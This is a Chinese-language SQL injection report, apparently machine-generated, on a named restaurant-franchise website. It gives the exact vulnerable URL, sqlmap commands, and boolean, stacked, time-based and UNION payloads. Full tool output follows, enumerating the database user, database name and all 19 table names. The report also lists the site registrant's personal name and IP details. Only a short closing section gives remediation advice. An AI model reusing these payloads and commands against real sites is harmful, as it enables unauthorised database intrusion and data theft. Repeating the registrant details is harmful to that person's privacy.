基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：此处需要手动搜索

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

注入网址:http://wap.098.cn/Public/index/cid/165/id/412\*.html

执行命令:python sqlmap.py -u http://wap.098.cn/Public/index/cid/165/id/412\*.html --random-agent --dbs --current-user --current-db --is-db

注入参数(方式) : #1\* (URI)  
 注入方式 : boolean-based blind  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412') AND 7082=7082 AND ('qXvK'='qXvK.html  
  
 注入方式 : stacked queries  
 注入标题 : MySQL > 5.0.11 stacked queries  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412');SELECT SLEEP(5) AND ('CteN'='CteN.html  
  
 注入方式 : AND/OR time-based blind  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412') AND SLEEP(5) AND ('Bphm'='Bphm.html  
  
 注入方式 : UNION query  
 注入标题 : Generic UNION query (NULL) - 4 columns  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412') UNION ALL SELECT NULL,NULL,CONCAT(0x716a787671,0x6a614a65476d77426271625a6368716a636667704d4f514771556452586b4d6a51516c6c6870716e,0x7171706a71),NULL-- JRlD.html

数据库类型 : MySQL  
服务器语言 : ThinkPHP, Nginx 1.0.14  
数据库版本 : MySQL > 5.0.11

网站信息报表

百度权重 1

网站主页 http://wap.098.cn

网站描述

网站标题 098餐饮加盟网\_致力于打造安全健康的餐饮加盟平台

IP\_\_坐标 广东省佛山市 电信

所属\_\_IP 183.61.146.106

网站年龄 13年10月19天（创建于2005年06月13日,过期时间为2026年06月13日)

备案编号 皖ICP备14002173号-2

备案性质 个人

备案名称 童为忠

备案时间 2014/2/26 0:00:00

百度收录 3万7900

协议类型 HTTP/1.1 200 OK

页面类型 text/html; charset=UTF-8

服务类型 nginx/1.0.14

程序语言 暂无信息

网站漏洞复现

执行命令

python sqlmap.py -u http://wap.098.cn/Public/index/cid/165/id/412\*.html --random-agent --dbs --current-user --current-db --is-db

返回结果

\_\_\_  
 \_\_H\_\_  
 \_\_\_ \_\_\_[']\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
|\_ -| . ['] | .'| . |  
|\_\_\_|\_ [']\_|\_|\_|\_\_,| \_|  
 |\_|V |\_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[\*] starting @ 22:20:50 /2019-05-02/  
  
[22:20:50] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; el) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1' from file 'C:\CODE\个人作品源代码\GET\_SQL\ExtrAct-SQL\_0.2\sqlmap\txt\user-agents.txt'  
custom injection marker ('\*') found in option '-u'. Do you want to process it? [Y/n/q] Y  
[22:20:51] [INFO] testing connection to the target URL  
[22:20:51] [INFO] checking if the target is protected by some kind of WAF/IPS  
[22:20:52] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS  
do you want sqlmap to try to detect backend WAF/IPS? [y/N] N  
[22:20:52] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')  
[22:20:52] [INFO] testing if the target URL content is stable  
[22:20:53] [INFO] target URL content is stable  
[22:20:53] [INFO] testing if URI parameter '#1\*' is dynamic  
[22:20:54] [INFO] URI parameter '#1\*' appears to be dynamic  
[22:20:54] [WARNING] heuristic (basic) test shows that URI parameter '#1\*' might not be injectable  
[22:20:55] [INFO] testing for SQL injection on URI parameter '#1\*'  
[22:20:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
[22:21:01] [INFO] URI parameter '#1\*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable   
[22:21:10] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'   
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y  
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y  
[22:21:10] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'  
[22:21:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'  
[22:21:11] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'  
[22:21:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'  
[22:21:12] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON\_KEYS)'  
[22:21:13] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON\_KEYS)'  
[22:21:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
[22:21:14] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
[22:21:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'  
[22:21:15] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'  
[22:21:16] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'  
[22:21:16] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'  
[22:21:17] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
[22:21:17] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'  
[22:21:18] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'  
[22:21:19] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'  
[22:21:20] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'  
[22:21:20] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'  
[22:21:20] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON\_KEYS)'  
[22:21:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'  
[22:21:20] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'  
[22:21:20] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'  
[22:21:20] [INFO] testing 'MySQL inline queries'  
[22:21:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'  
[22:21:21] [INFO] testing 'MySQL > 5.0.11 stacked queries'  
[22:21:34] [INFO] URI parameter '#1\*' appears to be 'MySQL > 5.0.11 stacked queries' injectable   
[22:21:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'  
[22:21:54] [INFO] URI parameter '#1\*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable   
[22:21:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
[22:21:54] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found  
[22:21:56] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test  
[22:21:59] [INFO] target URL appears to have 4 columns in query  
[22:22:13] [INFO] target URL appears to be UNION injectable with 4 columns  
[22:22:15] [INFO] URI parameter '#1\*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable  
URI parameter '#1\*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N  
sqlmap identified the following injection point(s) with a total of 75 HTTP(s) requests:  
---  
Parameter: #1\* (URI)  
 Type: boolean-based blind  
 Title: AND boolean-based blind - WHERE or HAVING clause  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412') AND 7082=7082 AND ('qXvK'='qXvK.html  
  
 Type: stacked queries  
 Title: MySQL > 5.0.11 stacked queries  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412');SELECT SLEEP(5) AND ('CteN'='CteN.html  
  
 Type: AND/OR time-based blind  
 Title: MySQL >= 5.0.12 AND time-based blind  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412') AND SLEEP(5) AND ('Bphm'='Bphm.html  
  
 Type: UNION query  
 Title: Generic UNION query (NULL) - 4 columns  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412') UNION ALL SELECT NULL,NULL,CONCAT(0x716a787671,0x6a614a65476d77426271625a6368716a636667704d4f514771556452586b4d6a51516c6c6870716e,0x7171706a71),NULL-- JRlD.html  
---  
[22:22:15] [INFO] the back-end DBMS is MySQL  
web application technology: ThinkPHP, Nginx 1.0.14  
back-end DBMS: MySQL > 5.0.11  
[22:22:15] [INFO] fetching current user  
current user: 'gw098\_sql@localhost'  
[22:22:16] [INFO] fetching current database  
current database: 'gw098\_sql'  
[22:22:16] [INFO] testing if current user is DBA  
[22:22:16] [INFO] fetching current user  
[22:22:17] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'  
current user is DBA: False  
[22:22:17] [INFO] fetching database names  
available databases [2]:  
[\*] gw098\_sql  
[\*] information\_schema  
  
[22:22:18] [WARNING] HTTP error codes detected during run:  
404 (Not Found) - 51 times  
[22:22:18] [INFO] fetched data logged to text files under 'C:\Users\langzi\.sqlmap\output\wap.098.cn'  
  
[\*] ending @ 22:22:18 /2019-05-02/

敏感数据

注入参数(方式) : #1\* (URI)  
 注入方式 : boolean-based blind  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412') AND 7082=7082 AND ('qXvK'='qXvK.html  
  
 注入方式 : stacked queries  
 注入标题 : MySQL > 5.0.11 stacked queries  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412');SELECT SLEEP(5) AND ('CteN'='CteN.html  
  
 注入方式 : AND/OR time-based blind  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412') AND SLEEP(5) AND ('Bphm'='Bphm.html  
  
 注入方式 : UNION query  
 注入标题 : Generic UNION query (NULL) - 4 columns  
 注入攻击 : http://wap.098.cn:80/Public/index/cid/165/id/412') UNION ALL SELECT NULL,NULL,CONCAT(0x716a787671,0x6a614a65476d77426271625a6368716a636667704d4f514771556452586b4d6a51516c6c6870716e,0x7171706a71),NULL-- JRlD.html

数据库类型 : MySQL  
服务器语言 : ThinkPHP, Nginx 1.0.14  
数据库版本 : MySQL > 5.0.11

当前用户: 'gw098\_sql@localhost'

当前数据库: 'gw098\_sql'

是否有DBA权限: False

所有数据库:

[\*] gw098\_sql  
[\*] information\_schema

执行命令

python sqlmap.py -u http://wap.098.cn/Public/index/cid/165/id/412\*.html -D gw098\_sql --tables --random-agent

返回结果

\_\_\_  
 \_\_H\_\_  
 \_\_\_ \_\_\_[,]\_\_\_\_\_ \_\_\_ \_\_\_ {1.2.11.6#dev}  
|\_ -| . [(] | .'| . |  
|\_\_\_|\_ [']\_|\_|\_|\_\_,| \_|  
 |\_|V |\_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[\*] starting @ 22:22:43 /2019-05-02/  
  
[22:22:43] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu' from file 'C:\CODE\个人作品源代码\GET\_SQL\ExtrAct-SQL\_0.2\sqlmap\txt\user-agents.txt'  
custom injection marker ('\*') found in option '-u'. Do you want to process it? [Y/n/q] Y  
[22:22:44] [INFO] resuming back-end DBMS 'mysql'   
[22:22:44] [INFO] testing connection to the target URL  
[22:22:45] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: #1\* (URI)  
 Type: boolean-based blind  
 Title: AND boolean-based blind - WHERE or HAVING clause  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412') AND 7082=7082 AND ('qXvK'='qXvK.html  
  
 Type: stacked queries  
 Title: MySQL > 5.0.11 stacked queries  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412');SELECT SLEEP(5) AND ('CteN'='CteN.html  
  
 Type: AND/OR time-based blind  
 Title: MySQL >= 5.0.12 AND time-based blind  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412') AND SLEEP(5) AND ('Bphm'='Bphm.html  
  
 Type: UNION query  
 Title: Generic UNION query (NULL) - 4 columns  
 Payload: http://wap.098.cn:80/Public/index/cid/165/id/412') UNION ALL SELECT NULL,NULL,CONCAT(0x716a787671,0x6a614a65476d77426271625a6368716a636667704d4f514771556452586b4d6a51516c6c6870716e,0x7171706a71),NULL-- JRlD.html  
---  
[22:22:45] [INFO] the back-end DBMS is MySQL  
web application technology: ThinkPHP, Nginx 1.0.14  
back-end DBMS: MySQL > 5.0.11  
[22:22:45] [INFO] fetching tables for database: 'gw098\_sql'  
Database: gw098\_sql  
[19 tables]  
+--------------------------+  
| hzpcms\_admin |  
| hzpcms\_adv |  
| hzpcms\_adv\_detail |  
| hzpcms\_article |  
| hzpcms\_attachment |  
| hzpcms\_auth\_group |  
| hzpcms\_auth\_group\_access |  
| hzpcms\_auth\_rule |  
| hzpcms\_category |  
| hzpcms\_config |  
| hzpcms\_gallery |  
| hzpcms\_itemgroup |  
| hzpcms\_iteminfo |  
| hzpcms\_link |  
| hzpcms\_message |  
| hzpcms\_meta |  
| hzpcms\_model |  
| hzpcms\_product |  
| hzpcms\_special |  
+--------------------------+  
  
[22:22:46] [INFO] fetched data logged to text files under 'C:\Users\langzi\.sqlmap\output\wap.098.cn'  
  
[\*] ending @ 22:22:46 /2019-05-02/

敏感数据

当前数据库下存在如下表

Database: gw098\_sql  
[19 tables]  
+--------------------------+  
| hzpcms\_admin |  
| hzpcms\_adv |  
| hzpcms\_adv\_detail |  
| hzpcms\_article |  
| hzpcms\_attachment |  
| hzpcms\_auth\_group |  
| hzpcms\_auth\_group\_access |  
| hzpcms\_auth\_rule |  
| hzpcms\_category |  
| hzpcms\_config |  
| hzpcms\_gallery |  
| hzpcms\_itemgroup |  
| hzpcms\_iteminfo |  
| hzpcms\_link |  
| hzpcms\_message |  
| hzpcms\_meta |  
| hzpcms\_model |  
| hzpcms\_product |  
| hzpcms\_special |  
+--------------------------+

复现完成，验证存在SQL注入漏洞

修复建议

代码原理防护

1.对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
 包括但不限于以下字符及字符串  
 select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
 2.预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
 3.以最小权限执行SQL语句

安全防火墙防护

1.安装网站防火墙  
 2.接入云WAF